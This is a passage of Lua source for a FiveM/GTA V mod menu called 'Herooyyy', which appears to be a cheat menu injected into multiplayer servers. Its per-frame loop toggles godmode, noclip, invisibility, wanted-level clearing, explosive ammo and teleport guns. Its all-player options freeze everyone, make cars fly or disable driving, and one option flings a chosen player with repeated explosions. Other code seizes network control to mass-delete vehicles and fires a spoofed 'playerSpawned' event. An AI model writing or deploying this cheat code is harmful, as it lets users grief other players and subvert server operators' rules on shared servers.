4359 Herooyyy.removeNotification(notificationIndex)
4360 end
4361 end
4362 end
4363 end
4364
4365 --[[
4366 Run every frame/tick | Make sure that functions do not use pWait
4367 ]]
4368
4369 SetPlayerInvincible(PlayerId(), Herooyyy.storedControls.godmode)
4370 SetEntityInvincible(Herooyyy.datastore.pLocalPlayer.pedId, Herooyyy.storedControls.godmode)
4371
4372 SetEntityProofs(Herooyyy.datastore.pLocalPlayer.pedId, Herooyyy.storedControls.godmode, Herooyyy.storedControls.godmode, Herooyyy.storedControls.godmode, Herooyyy.storedControls.godmode, Herooyyy.storedControls.godmode)
4373
4374 SetPedCanRagdoll(Herooyyy.datastore.pLocalPlayer.pedId, not Herooyyy.storedControls.noRagdoll)
4375
4376 if Herooyyy.storedControls.semiGodmode then
4377 if GetEntityHealth(Herooyyy.datastore.pLocalPlayer.pedId) < 200 then
4378 Herooyyy.natives.setEntityHealth(Herooyyy.datastore.pLocalPlayer.pedId, 200)
4379 end
4380 end
4381
4382 if Herooyyy.storedControls.neverWanted then
4383 ClearPlayerWantedLevel(PlayerId())
4384 end
4385
4386 if Herooyyy.storedControls.invisible then
4387 Herooyyy.storedControls.bInvisible = true
4388 Herooyyy.natives.setEntityVisible(Herooyyy.datastore.pLocalPlayer.pedId, 0, 0)
4389 end
4390 if not Herooyyy.storedControls.invisible and Herooyyy.storedControls.bInvisible then
4391 Herooyyy.storedControls.bInvisible = false
4392 Herooyyy.natives.setEntityVisible(Herooyyy.datastore.pLocalPlayer.pedId, 1, 1)
4393 end
4394
4395 if Herooyyy.storedControls.infStamina then
4396 ResetPlayerStamina(PlayerId())
4397 end
4398
4399 if Herooyyy.storedControls.noClip then
4400 Herooyyy.functions.noclipAdv()
4401 end
4402
4403 if Herooyyy.storedControls.superJump then
4404 SetSuperJumpThisFrame(PlayerId())
4405 end
4406
4407 if Herooyyy.storedControls.tinyPlayer then
4408 Herooyyy.storedControls.bTinyPlayer = true
4409 SetPedConfigFlag(Herooyyy.datastore.pLocalPlayer.pedId, 223, true)
4410 elseif not Herooyyy.storedControls.tinyPlayer and Herooyyy.storedControls.bTinyPlayer then
4411 Herooyyy.storedControls.bTinyPlayer = false
4412 SetPedConfigFlag(Herooyyy.datastore.pLocalPlayer.pedId, 223, false)
4413 end
4414
4415 SetSeethrough(Herooyyy.storedControls.heatVision)
4416 SetNightvision(Herooyyy.storedControls.nightVision)
4417
4418 if Herooyyy.storedControls.flashmanSP then
4419 Herooyyy.functions.doForceFieldTick(5)
4420 SetSuperJumpThisFrame(PlayerId())
4421 SetRunSprintMultiplierForPlayer(PlayerId(), 1.49)
4422 SetPedMoveRateOverride(PlayerId(), 10.0)
4423 RequestNamedPtfxAsset('core')
4424 UseParticleFxAssetNextCall('core')
4425 StartNetworkedParticleFxNonLoopedOnEntity('ent_sht_electrical_box', Herooyyy.datastore.pLocalPlayer.pedId, 0.0, 0.0, -0.5, 0.0, 0.0, 0.0, 1.0, false, false, false)
4426 end
4427
4428 if Herooyyy.storedControls.sPOFlingPlayer then
4429 local coords = GetEntityCoords(GetPlayerPed(Herooyyy.storedControls.sPOFlingedPlayer))
4430 Herooyyy.natives.addExplosion(coords.x, coords.y, coords.z, 4, 0.0, 0, 1, 0.0, 1)
4431 end
4432
4433 if Herooyyy.storedControls.aPOFreeze then
4434 Herooyyy.functions.aPO.freezeAll()
4435 end
4436
4437 if Herooyyy.storedControls.aPOFlyingCars then
4438 Herooyyy.functions.aPO.flyingCars()
4439 end
4440
4441 if Herooyyy.storedControls.aPODisableDrivingCars then
4442 Herooyyy.functions.aPO.disableDrivingCars()
4443 end
4444
4445 if Herooyyy.storedControls.aPONoisyVehs then
4446 Herooyyy.functions.aPO.noisyVehicles()
4447 end
4448
4449 if selectedCustomCrosshair == 2 then
4450 ShowHudComponentThisFrame(14)
4451 elseif selectedCustomCrosshair == 3 then
4452 Herooyyy.functions.drawTextCrosshairs('+', 0.495, 0.484, 1.0, 0.3, Herooyyy.mainColor)
4453 end
4454
4455 if Herooyyy.storedControls.visDrawFPS then
4456 local getFPS = (1.0 / GetFrameTime())
4457 Herooyyy.functions.drawTextCrosshairs('~w~fps: ~s~'..Herooyyy.trashFunctions.math_round(getFPS), 0.01, 0.02, Herooyyy.mainColor)
4458 end
4459
4460 Herooyyy.natives.setArtificialLightsState(Herooyyy.storedControls.visBlackout)
4461
4462 if Herooyyy.storedControls.visForceRadar then
4463 DisplayRadar(true)
4464 end
4465
4466 if pedDensityXSelected < 1 then
4467 SetVehicleDensityMultiplierThisFrame(pedDensityXSelected)
4468 SetRandomVehicleDensityMultiplierThisFrame(pedDensityXSelected)
4469 SetParkedVehicleDensityMultiplierThisFrame(pedDensityXSelected)
4470 SetAmbientVehicleRangeMultiplierThisFrame(1.0)
4471 SetPedDensityMultiplierThisFrame(pedDensityXSelected)
4472 SetScenarioPedDensityMultiplierThisFrame(pedDensityXSelected, pedDensityXSelected)
4473 DistantCopCarSirens(false)
4474 SetGarbageTrucks(false)
4475 SetRandomBoats(false)
4476 SetCreateRandomCops(false)
4477 SetCreateRandomCopsNotOnScenarios(false)
4478 SetCreateRandomCopsOnScenarios(false)
4479
4480 local x,y,z = table.unpack(GetEntityCoords(Herooyyy.datastore.pLocalPlayer.pedId))
4481 ClearAreaOfVehicles(x, y, z, 1000, false, false, false, false, false)
4482 RemoveVehiclesFromGeneratorsInArea(x - 500.0, y - 500.0, z - 500.0, x + 500.0, y + 500.0, z + 500.0);
4483 end
4484
4485 if Herooyyy.comboBoxes[3]._actual[vehiclesEngineTorqueBoostCurrent] > 1 then
4486 SetVehicleEngineTorqueMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1), false), Herooyyy.comboBoxes[3]._actual[vehiclesEngineTorqueBoostCurrent] + 0.0)
4487 end
4488
4489 if Herooyyy.comboBoxes[3]._actual[vehiclesEnginePowerBoostSelected] > 1 then
4490 SetVehicleEnginePowerMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1), false), Herooyyy.comboBoxes[3]._actual[vehiclesEnginePowerBoostSelected] + 1.0)
4491 end
4492
4493 if Herooyyy.storedControls.vehGodmode and IsPedInAnyVehicle(PlayerPedId(-1), true) then
4494 SetEntityInvincible(Herooyyy.datastore.pLocalPlayer.cVehicle, true)
4495 end
4496
4497 if Herooyyy.storedControls.vehAlwaysWheelie then
4498 if IsPedInAnyVehicle(GetPlayerPed(-1)) and GetPedInVehicleSeat(GetVehiclePedIsIn(GetPlayerPed(-1)), -1) == GetPlayerPed(-1) then
4499 SetVehicleWheelieState(GetVehiclePedIsIn(GetPlayerPed(-1)), 129)
4500 end
4501 end
4502
4503 if Herooyyy.storedControls.vehRainbowCol then
4504 local rgb = Herooyyy.trashFunctions.returnRGB(1.0)
4505 Herooyyy.trashFunctions.reqControlOnce(Herooyyy.datastore.pLocalPlayer.cVehicle)
4506 SetVehicleCustomPrimaryColour(Herooyyy.datastore.pLocalPlayer.cVehicle, rgb.r, rgb.g, rgb.b)
4507 SetVehicleCustomSecondaryColour(Herooyyy.datastore.pLocalPlayer.cVehicle, rgb.r, rgb.g, rgb.b)
4508 end
4509
4510 if Herooyyy.storedControls.vehRainbowLights then
4511 local rgb = Herooyyy.trashFunctions.returnRGB(1.0)
4512 Herooyyy.trashFunctions.reqControlOnce(Herooyyy.datastore.pLocalPlayer.cVehicle)
4513 SetVehicleNeonLightsColour(Herooyyy.datastore.pLocalPlayer.cVehicle, rgb.r, rgb.g, rgb.b)
4514 for i = 1, 12 do
4515 SetVehicleHeadlightsColour(Herooyyy.datastore.pLocalPlayer.cVehicle, i)
4516 end
4517 end
4518
4519 SetPedCanBeKnockedOffVehicle(Herooyyy.datastore.pLocalPlayer.pedId, Herooyyy.storedControls.vehNoFall)
4520
4521 if Herooyyy.storedControls.vehWallride then
4522 if (IsPedInVehicle(Herooyyy.datastore.pLocalPlayer.pedId, GetVehiclePedIsIn(Herooyyy.datastore.pLocalPlayer.pedId, true), true)) then
4523 ApplyForceToEntity(GetVehiclePedIsIn(Herooyyy.datastore.pLocalPlayer.pedId, true), 1, 0, 0, -0.4, 0, 0, 0, 1, true, true, true, true, true)
4524 end
4525 end
4526
4527 if Herooyyy.storedControls.teleShowCoords then
4528 x, y, z = table.unpack(GetEntityCoords(GetPlayerPed(-1), true))
4529 roundx = tonumber(string.format('%.2f', x))
4530 roundy = tonumber(string.format('%.2f', y))
4531 roundz = tonumber(string.format('%.2f', z))
4532 Herooyyy.functions.drawTextCrosshairs('~w~x: ~s~' .. roundx, 0.01, 0.04, Herooyyy.mainColor)
4533 Herooyyy.functions.drawTextCrosshairs('~w~y: ~s~' .. roundy, 0.01, 0.06, Herooyyy.mainColor)
4534 Herooyyy.functions.drawTextCrosshairs('~w~z: ~s~' .. roundz, 0.01, 0.08, Herooyyy.mainColor)
4535 end
4536
4537 if Herooyyy.storedControls.visForceThirdperson then
4538 SetFollowPedCamViewMode(1)
4539 end
4540
4541 if tonumber(intToFloat(Herooyyy.storedControls.weaponsDamageMultiplierSet)) then
4542 SetPlayerWeaponDamageModifier(PlayerId(), tonumber(intToFloat(Herooyyy.storedControls.weaponsDamageMultiplierSet)))
4543 SetPlayerMeleeWeaponDamageModifier(PlayerId(), tonumber(intToFloat(Herooyyy.storedControls.weaponsDamageMultiplierSet)))
4544 end
4545
4546 if Herooyyy.storedControls.weapExplosiveAmmo then
4547 local impact, coords = GetPedLastWeaponImpactCoord(Herooyyy.datastore.pLocalPlayer.pedId)
4548 if impact then
4549 Herooyyy.natives.addExplosion(coords.x, coords.y, coords.z, 2, 100.0, true, false, 0)
4550 end
4551 SetExplosiveMeleeThisFrame(PlayerId())
4552 end
4553
4554 if Herooyyy.storedControls.weapCustomBullet then
4555 Herooyyy.functions.customBullet()
4556 end
4557
4558 if Herooyyy.storedControls.weapTeleportGun then
4559 local impact, coords = GetPedLastWeaponImpactCoord(Herooyyy.datastore.pLocalPlayer.pedId)
4560 if impact then
4561 Herooyyy.functions.teleportSelf(coords.x, coords.y, coords.z + 3)
4562 end
4563 end
4564
4565 if Herooyyy.storedControls.weapRapidFire then
4566 Herooyyy.functions.rapidFireTick()
4567 end
4568
4569 --[[
4570 Keybinds
4571 ]]
4572
4573 if Herooyyy.keyBinds.currentKeybindMenu.handle and IsDisabledControlJustPressed(0, Keys[Herooyyy.keyBinds.currentKeybindMenu.handle]) then
4574 Herooyyy.openMenu('Herooyyy')
4575 end
4576
4577 if Herooyyy.keyBinds.currentKeybindHealth.handle and IsDisabledControlJustPressed(0, Keys[Herooyyy.keyBinds.currentKeybindHealth.handle]) then
4578 Herooyyy.natives.setEntityHealth(PlayerPedId(-1), 200)
4579 Herooyyy.pushNotification('Health refilled', 5000)
4580 end
4581
4582 if Herooyyy.keyBinds.currentKeybindArmour.handle and IsDisabledControlJustPressed(0, Keys[Herooyyy.keyBinds.currentKeybindArmour.handle]) then
4583 Herooyyy.natives.setPedArmour(PlayerPedId(-1), 200)
4584 Herooyyy.pushNotification('Armour refilled', 5000)
4585 end
4586
4587 if Herooyyy.keyBinds.currentKeybindNoclip.handle and IsDisabledControlJustPressed(0, Keys[Herooyyy.keyBinds.currentKeybindNoclip.handle]) then
4588 Herooyyy.functions.toggleNoclip()
4589 end
4590
4591 pWait(0)
4592 end
4593end)
4594
4595--[[
4596 Run 2 step separately because of pWait usage
4597]]
4598
4599pCreateThread(function()
4600 while Herooyyy.shouldShowMenu do
4601 if Herooyyy.storedControls.veh2Step then
4602 Herooyyy.functions.vehicle2Step()
4603 end
4604
4605 if Herooyyy.storedControls.vehDriftSmoke then
4606 RequestNamedPtfxAsset('scr_recartheft')
4607 while not HasNamedPtfxAssetLoaded('scr_recartheft') do
4608 pWait(1)
4609 end
4610 RequestNamedPtfxAsset('core')
4611 while not HasNamedPtfxAssetLoaded('core') do
4612 pWait(1)
4613 end
4614 ang,speed = Herooyyy.functions.game.vehicleAngle(GetVehiclePedIsUsing(GetPlayerPed(-1)))
4615 local _SIZE = 0.25
4616 local _DENS = 25
4617 local _BURNOUT_SIZE = 1.5
4618 if IsPedInAnyVehicle(GetPlayerPed(-1), false) then
4619 if speed >= 1.0 and ang ~= 0 then
4620 Herooyyy.functions.game.driftSmoke('scr_recartheft', 'scr_wheel_burnout', GetVehiclePedIsUsing(GetPlayerPed(-1)), _DENS, _SIZE)
4621 elseif --[[speed < 1.0 and]] IsVehicleInBurnout(GetVehiclePedIsUsing(GetPlayerPed(-1))) then
4622 Herooyyy.functions.game.driftSmoke('core', 'exp_grd_bzgas_smoke', GetVehiclePedIsUsing(GetPlayerPed(-1)), 3, _BURNOUT_SIZE)
4623 end
4624 end
4625 end
4626
4627 if Herooyyy.storedControls.visForceGamertags then
4628 local plist = Herooyyy.natives.getActivePlayers()
4629 for i = 1, #plist do
4630 local id = plist[i]
4631 if GetPlayerPed(id) ~= GetPlayerPed(-1) then
4632 local ped = GetPlayerPed(id)
4633 --[[blip = GetBlipFromEntity( ped )]]
4634
4635 local x1, y1, z1 = table.unpack( GetEntityCoords(Herooyyy.datastore.pLocalPlayer.pedId, true) )
4636 local x2, y2, z2 = table.unpack( GetEntityCoords(GetPlayerPed(id), true) )
4637 local distance = Herooyyy.trashFunctions.math_round(#(vector3(x1, y1, z1) - vector3(x2, y2, z2)), 1)
4638
4639 if distance < 125 then
4640 if NetworkIsPlayerTalking(id) then
4641 Herooyyy.functions.drawText3DGamerTags(x2, y2, z2 + 1.25, '' .. GetPlayerServerId(id) .. ' | ' .. GetPlayerName(id) .. '', 30, 144, 255)
4642 else
4643 Herooyyy.functions.drawText3DGamerTags(x2, y2, z2 + 1.25, '' .. GetPlayerServerId(id) .. ' | ' .. GetPlayerName(id) .. '', 255, 255, 255)
4644 end
4645 end
4646 end
4647 end
4648 end
4649
4650 Herooyyy.functions.playerBlips()
4651
4652 pWait(0)
4653 end
4654end)
4655
4656Herooyyy.functions.drawText3DGamerTags = function(x, y, z, text, r, g, b)
4657 SetDrawOrigin(x, y, z, 0)
4658 Herooyyy.natives.setTextFont(0)
4659 Herooyyy.natives.setTextProportional(0)
4660 Herooyyy.natives.setTextScale(0.0, 0.20)
4661 Herooyyy.natives.setTextColour(r, g, b, 255)
4662 SetTextDropshadow(0, 0, 0, 0, 255)
4663 SetTextEdge(2, 0, 0, 0, 150)
4664 Herooyyy.natives.setTextDropShadow()
4665 Herooyyy.natives.setTextOutline()
4666 Herooyyy.natives.beginTextCommandDisplayText('STRING')
4667 SetTextCentre(1)
4668 Herooyyy.natives.addTextComponentSubstringPlayerName(text)
4669 Herooyyy.natives.endTextCommandDisplayText(0.0, 0.0)
4670 ClearDrawOrigin()
4671end
4672
4673--[[
4674 Functions here to keep menu clean
4675]]
4676
4677--[[
4678 Math functions here instead of using frameworks from servers.
4679]]
4680
4681Herooyyy.functions.Math = {}
4682
4683Herooyyy.functions.Math.Round = function(value, numDecimalPlaces)
4684 if numDecimalPlaces then
4685 local power = 10^numDecimalPlaces
4686 return math.floor((value * power) + 0.5) / (power)
4687 else
4688 return math.floor(value + 0.5)
4689 end
4690end
4691
4692Herooyyy.functions.Math.GroupDigits = function(value)
4693 local left,num,right = string.match(value,'^([^%d]*%d)(%d*)(.-)$')
4694
4695 return left..(num:reverse():gsub('(%d%d%d)','%1' .. _U('locale_digit_grouping_symbol')):reverse())..right
4696end
4697
4698Herooyyy.functions.Math.Trim = function(value)
4699 if value then
4700 return (string.gsub(value, '^%s*(.-)%s*$', '%1'))
4701 else
4702 return nil
4703 end
4704end
4705
4706Herooyyy.functions.doesResourceExist = function(resource_name)
4707 if GetResourceState(resource_name) == 'started' or
4708 string.upper(GetResourceState(resource_name)) == 'started' or
4709 string.lower(GetResourceState(resource_name)) == 'started' or
4710 GetResourceState(resource_name..'-master') == 'started' or
4711 string.upper(GetResourceState(resource_name..'-master')) == 'started' or
4712 string.lower(GetResourceState(resource_name..'-master')) == 'started' then
4713 return true
4714 else
4715 return false
4716 end
4717end
4718
4719Herooyyy.functions.drawTextCrosshairs = function(C,x,y)
4720 Herooyyy.natives.setTextColour(Herooyyy.mainColor.r, Herooyyy.mainColor.g, Herooyyy.mainColor.b, 255)
4721 Herooyyy.natives.setTextFont(0)
4722 Herooyyy.natives.setTextProportional(1)
4723 Herooyyy.natives.setTextScale(0.0,0.4)
4724 SetTextDropshadow(1,0,0,0,255)
4725 SetTextEdge(1,0,0,0,255)
4726 Herooyyy.natives.setTextDropShadow()
4727 Herooyyy.natives.setTextOutline()
4728 Herooyyy.natives.beginTextCommandDisplayText('STRING')
4729 Herooyyy.natives.addTextComponentSubstringPlayerName(C)
4730 Herooyyy.natives.endTextCommandDisplayText(x,y)
4731end
4732
4733Herooyyy.functions.teleportToWaypoint = function()
4734 pCreateThread(function()
4735 local entity = Herooyyy.datastore.pLocalPlayer.pedId
4736 if IsPedInAnyVehicle(entity, false) then
4737 entity = GetVehiclePedIsUsing(entity)
4738 end
4739 local success = false
4740 local blipFound = false
4741 local blipIterator = GetBlipInfoIdIterator()
4742 local blip = GetFirstBlipInfoId(8)
4743
4744 while DoesBlipExist(blip) do
4745 if GetBlipInfoIdType(blip) == 4 then
4746 cx, cy, cz = table.unpack(GetBlipInfoIdCoord(blip, Citizen.ReturnResultAnyway(), Citizen.ResultAsVector()))
4747 blipFound = true
4748 break
4749 end
4750 blip = GetNextBlipInfoId(blipIterator)
4751 pWait(0)
4752 end
4753
4754 if blipFound then
4755 local groundFound = false
4756 local yaw = GetEntityHeading(entity)
4757
4758 for i = 0, 1000, 1 do
4759 Herooyyy.natives.setEntityCoordsNoOffset(entity, cx, cy, ToFloat(i), false, false, false)
4760 SetEntityRotation(entity, 0, 0, 0, 0, 0)
4761 SetEntityHeading(entity, yaw)
4762 SetGameplayCamRelativeHeading(0)
4763 pWait(0)
4764 if GetGroundZFor_3dCoord(cx, cy, ToFloat(i), cz, false) then
4765 cz = ToFloat(i)
4766 groundFound = true
4767 break
4768 end
4769 end
4770 if not groundFound then
4771 cz = -300.0
4772 end
4773 success = true
4774 end
4775
4776 if success then
4777 Herooyyy.natives.setEntityCoordsNoOffset(entity, cx, cy, cz, false, false, true)
4778 SetGameplayCamRelativeHeading(0)
4779 if IsPedSittingInAnyVehicle(Herooyyy.datastore.pLocalPlayer.pedId) then
4780 if GetPedInVehicleSeat(Herooyyy.datastore.pLocalPlayer.cVehicle, -1) == Herooyyy.datastore.pLocalPlayer.pedId then
4781 SetVehicleOnGroundProperly(Herooyyy.datastore.pLocalPlayer.cVehicle)
4782 end
4783 end
4784 end
4785 end)
4786end
4787Herooyyy.functions.teleportSelf = function(x, y, z)
4788 if IsPedInAnyVehicle(GetPlayerPed(-1), 0) and GetPedInVehicleSeat(GetVehiclePedIsIn(GetPlayerPed(-1), 0), -1) == GetPlayerPed(-1) then
4789 entity = GetVehiclePedIsIn(GetPlayerPed(-1), 0)
4790 else
4791 entity = GetPlayerPed(-1)
4792 end
4793 if entity then
4794 Herooyyy.natives.setEntityCoords(entity, x, y, z)
4795 end
4796end
4797
4798Herooyyy.functions.runParticle = function()
4799 RequestNamedPtfxAsset('proj_xmas_firework')
4800 UseParticleFxAssetNextCall('proj_xmas_firework')
4801 StartNetworkedParticleFxNonLoopedOnEntity('scr_firework_xmas_burst_rgw', Herooyyy.datastore.pLocalPlayer.pedId, 0.0, 0.0, -0.5, 0.0, 0.0, 0.0, 1.0, false, false, false)
4802end
4803
4804Herooyyy.functions.runInjectParticle = function()
4805 RequestNamedPtfxAsset('proj_xmas_firework')
4806 UseParticleFxAssetNextCall('proj_xmas_firework')
4807 StartNetworkedParticleFxNonLoopedOnEntity('scr_firework_xmas_burst_rgw', Herooyyy.datastore.pLocalPlayer.pedId, 0.0, 0.0, -0.5, 0.0, 0.0, 0.0, 1.0, false, false, false)
4808 StartNetworkedParticleFxNonLoopedOnEntity('scr_firework_xmas_spiral_burst_rgw', Herooyyy.datastore.pLocalPlayer.pedId, 0.0, 0.0, -0.5, 0.0, 0.0, 0.0, 1.0, false, false, false)
4809 StartNetworkedParticleFxNonLoopedOnEntity('scr_xmas_firework_sparkle_spawn', Herooyyy.datastore.pLocalPlayer.pedId, 0.0, 0.0, -0.5, 0.0, 0.0, 0.0, 1.0, false, false, false)
4810end
4811--[[Herooyyy.functions.runInjectParticle()]]
4812
4813Herooyyy.functions.respawnPed = function(ped, coords, heading)
4814 Herooyyy.natives.setEntityCoordsNoOffset(ped, coords.x, coords.y, coords.z, false, false, false, true)
4815 NetworkResurrectLocalPlayer(coords.x, coords.y, coords.z, heading, true, false)
4816 SetPlayerInvincible(ped, false)
4817 Herooyyy.dTCE(false, false, 'playerSpawned', coords.x, coords.y, coords.z)
4818 ClearPedBloodDamage(ped)
4819end
4820
4821Herooyyy.functions.nativeRevive = function()
4822 local coords = GetEntityCoords(Herooyyy.datastore.pLocalPlayer.pedId)
4823
4824 local formattedCoords = {
4825 x = Herooyyy.functions.Math.Round(coords.x, 1),
4826 y = Herooyyy.functions.Math.Round(coords.y, 1),
4827 z = Herooyyy.functions.Math.Round(coords.z, 1)
4828 }
4829
4830 Herooyyy.functions.respawnPed(Herooyyy.datastore.pLocalPlayer.pedId, formattedCoords, 0.0)
4831 StopScreenEffect('DeathFailOut')
4832 Herooyyy.pushNotification('Revived', 5000)
4833end
4834
4835Herooyyy.functions.repairVehicle = function(pvehicle)
4836 SetVehicleEngineHealth(pvehicle, 1000)
4837 SetVehicleFixed(pvehicle)
4838 SetVehicleEngineOn(pvehicle, 1, 1)
4839 SetVehicleBurnout(pvehicle, false)
4840end
4841
4842Herooyyy.functions.deleteVehicle = function(pvehicle, radius)
4843 pCreateThread(function()
4844 if radius then
4845 local playerPed = Herooyyy.datastore.pLocalPlayer.pedId
4846 radius = tonumber(radius) + 0.01
4847 local vehicles = Herooyyy.functions.game.getVehiclesInArea(GetEntityCoords(playerPed), radius)
4848
4849 for k,entity in ipairs(vehicles) do
4850 local attempt = 0
4851
4852 if entity == Herooyyy.datastore.pLocalPlayer.cVehicle then entity = entity + 1 end
4853
4854 while not NetworkHasControlOfEntity(entity) and attempt < 50 and DoesEntityExist(entity) do
4855 NetworkRequestControlOfEntity(entity)
4856 attempt = attempt + 1
4857 end
4858
4859 if DoesEntityExist(entity) and NetworkHasControlOfEntity(entity) then
4860 SetEntityAsMissionEntity(entity, false, true)
4861 DeleteVehicle(entity)
4862 end
4863 end
4864 else
4865 SetEntityAsMissionEntity(pvehicle, false, true)
4866 DeleteVehicle(pvehicle)
4867 end
4868 end)
4869end
4870
4871Herooyyy.functions.optimizeFPS = function()
4872 ClearAllBrokenGlass()
4873 ClearAllHelpMessages()
4874 LeaderboardsReadClearAll()
4875 ClearBrief()
4876 ClearGpsFlags()
4877 ClearPrints()
4878 ClearSmallPrints()
4879 ClearReplayStats()
4880 LeaderboardsClearCacheData()
4881 ClearFocus()
4882 ClearHdArea()
4883 ClearPedBloodDamage(Herooyyy.datastore.pLocalPlayer.pedId)
4884 ClearPedWetness(Herooyyy.datastore.pLocalPlayer.pedId)
4885 ClearPedEnvDirt(Herooyyy.datastore.pLocalPlayer.pedId)
4886 ResetPedVisibleDamage(Herooyyy.datastore.pLocalPlayer.pedId)
4887end
4888
4889Herooyyy.functions.disappearFromChase = function()
4890 if IsPedInAnyVehicle(GetPlayerPed(-1)) then
4891
4892 local vehicle = GetVehiclePedIsIn(Herooyyy.datastore.pLocalPlayer.pedId, true)
4893 if DoesEntityExist(vehicle) then
4894 local targetx, targety, targetz = table.unpack(GetEntityCoords(Herooyyy.datastore.pLocalPlayer.pedId))
4895 if Herooyyy.storedControls.selectedDisappearFromChase == 1 then
4896 Herooyyy.natives.setEntityCoords(Herooyyy.datastore.pLocalPlayer.pedId, targetx + 1, targety + 2, targetz + 100)
4897 elseif Herooyyy.storedControls.selectedDisappearFromChase == 2 then
4898 Herooyyy.natives.setEntityCoords(Herooyyy.datastore.pLocalPlayer.pedId, 195.23, -934.04, 30.69)
4899 elseif Herooyyy.storedControls.selectedDisappearFromChase == 3 then
4900 Herooyyy.natives.setEntityCoords(Herooyyy.datastore.pLocalPlayer.pedId, -1653.85, -860.87, 9.16)
4901 elseif Herooyyy.storedControls.selectedDisappearFromChase == 4 then
4902 Herooyyy.natives.setEntityCoords(Herooyyy.datastore.pLocalPlayer.pedId, 2024.28, 3770.94, 32.18)
4903 elseif Herooyyy.storedControls.selectedDisappearFromChase == 5 then
4904 Herooyyy.natives.setEntityCoords(Herooyyy.datastore.pLocalPlayer.pedId, -183.57, 6366.65, 31.47)
4905 end
4906
4907 --[[Herooyyy.natives.setEntityCoords(Herooyyy.datastore.pLocalPlayer.pedId, -1729.98, -724.68, 9.84)]]
4908
4909 local newDriver = CreatePedInsideVehicle(vehicle, 4, GetEntityModel(Herooyyy.datastore.pLocalPlayer.pedId), -1, true, false)
4910 Herooyyy.functions.sPO.clonePedOutfit(newDriver, Herooyyy.datastore.pLocalPlayer.pedId)
4911 SetEntityAsMissionEntity(newDriver, 0, 0)
4912 TaskVehicleDriveToCoordLongrange(newDriver, vehicle, -34.552, -673.060, 31.944, 100.0, 537657916, 1.0)
4913 SetDriveTaskDrivingStyle(newDriver, 6)
4914
4915 local vehicleModel = GetEntityModel(vehicle)
4916 local spawnedVehicle = Herooyyy.functions.sPO.SpawnVehicleToPlayer(vehicleModel, PlayerId())
4917 local vehicleProperties = Herooyyy.functions.game.getVehicleProperties(vehicle)
4918 vehicleProperties.plate = nil
4919
4920 Herooyyy.functions.game.setVehicleProperties(spawnedVehicle, vehicleProperties)
4921 else
4922 Herooyyy.pushNotification('Error getting your car')
4923 dir_print('vehicle entity doesnt exist')
4924 end
4925 else
4926 Herooyyy.pushNotification('You\'re not in a vehicle')
4927 end
4928end
4929
4930Herooyyy.functions.vehicle2Step = function()
4931 p_flame_location = {
4932 'exhaust',
4933 'exhaust_2',
4934 'exhaust_3',
4935 'exhaust_4',
4936 'exhaust_5',
4937 'exhaust_6',
4938 'exhaust_7',
4939 'exhaust_8',
4940 'exhaust_9',
4941 'exhaust_10',
4942 'exhaust_11',
4943 'exhaust_12',
4944 'exhaust_13',
4945 'exhaust_14',
4946 'exhaust_15',
4947 'exhaust_16'
4948 }
4949 p_flame_particle = 'veh_backfire'
4950 p_flame_particle_asset = 'core'
4951 p_flame_size = 2.0
4952
4953 if IsPedInAnyVehicle(GetPlayerPed(-1)) then
4954 local pedVehicle = GetVehiclePedIsIn(GetPlayerPed(-1))
4955 local pedPos = GetEntityCoords(GetPlayerPed(-1))
4956 local vehiclePos = GetEntityCoords(pedVehicle)
4957 local RPM = GetVehicleCurrentRpm(GetVehiclePedIsIn(GetPlayerPed(-1)))
4958
4959 if GetPedInVehicleSeat(pedVehicle, -1) == GetPlayerPed(-1) then
4960 local BackFireDelay = (math.random(250, 750))
4961 local backFireSize = (math.random(2, 6) / 1.5)
4962 if RPM > 0.3 and RPM < 0.6 then
4963 for _,bones in pairs(p_flame_location) do
4964 if GetEntityBoneIndexByName(pedVehicle, bones) >= 0 then
4965 UseParticleFxAssetNextCall(p_flame_particle_asset)
4966 createdPart = StartParticleFxLoopedOnEntityBone(p_flame_particle, NetToVeh(VehToNet(pedVehicle)), 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, GetEntityBoneIndexByName(NetToVeh(VehToNet(pedVehicle)), bones), backFireSize--[[p_flame_size]], 0.0, 0.0, 0.0)
4967 StopParticleFxLooped(createdPart, 1)
4968 end
4969 end
4970 --[[Herooyyy.natives.playSoundFrontend(-1, 'Jet_Explosions', 'exile_1', true)]]
4971 Herooyyy.natives.addExplosion(vehiclePos.x, vehiclePos.y, vehiclePos.z, 61, 0.0, true, true, 0.0, true)
4972 Herooyyy.datastore.pLocalPlayer.should2stepAutist = true
4973 pWait(BackFireDelay)
4974 else
4975 Herooyyy.datastore.pLocalPlayer.should2stepAutist = false
4976 end
4977 end
4978 end
4979end
4980
4981Herooyyy.functions.maxUpgrades = function(veh)
4982 SetVehicleModKit(veh, 0)
4983 SetVehicleCustomPrimaryColour(Herooyyy.datastore.pLocalPlayer.cVehicle, 0, 0, 0)
4984 SetVehicleCustomSecondaryColour(Herooyyy.datastore.pLocalPlayer.cVehicle, 0, 0, 0)
4985 SetVehicleColours(veh, 12, 12)
4986 SetVehicleModColor_1(veh, 3, false)
4987 SetVehicleExtraColours(veh, 3, false)
4988 ToggleVehicleMod(veh, 18, true)
4989 ToggleVehicleMod(veh, 22, true)
4990 SetVehicleMod(veh, 16, 5, false)
4991 SetVehicleMod(veh, 12, 2, false)
4992 SetVehicleMod(veh, 11, 3, false)
4993 SetVehicleMod(veh, 14, 14, false)
4994 SetVehicleMod(veh, 15, 3, false)
4995 SetVehicleMod(veh, 13, 2, false)
4996 SetVehicleWindowTint(veh, 5)
4997 SetVehicleWheelType(veh, false)
4998 SetVehicleMod(veh, 23, 21, true)
4999 SetVehicleMod(veh, 0, 1, false)
5000 SetVehicleMod(veh, 1, 1, false)
5001 SetVehicleMod(veh, 2, 1, false)
5002 SetVehicleMod(veh, 3, 1, false)
5003 SetVehicleMod(veh, 4, 1, false)
5004 SetVehicleMod(veh, 5, 1, false)
5005 SetVehicleMod(veh, 6, 1, false)
5006 SetVehicleMod(veh, 7, 1, false)
5007 SetVehicleMod(veh, 8, 1, false)
5008 SetVehicleMod(veh, 9, 1, false)
5009 SetVehicleMod(veh, 10, 1, false)
5010 IsVehicleNeonLightEnabled(veh, true)
5011 SetVehicleNeonLightEnabled(veh, 0, true)
5012 SetVehicleNeonLightEnabled(veh, 1, true)
5013 SetVehicleNeonLightEnabled(veh, 2, true)
5014 SetVehicleNeonLightEnabled(veh, 3, true)
5015 SetVehicleNeonLightEnabled(veh, 4, true)
5016 SetVehicleNeonLightEnabled(veh, 5, true)
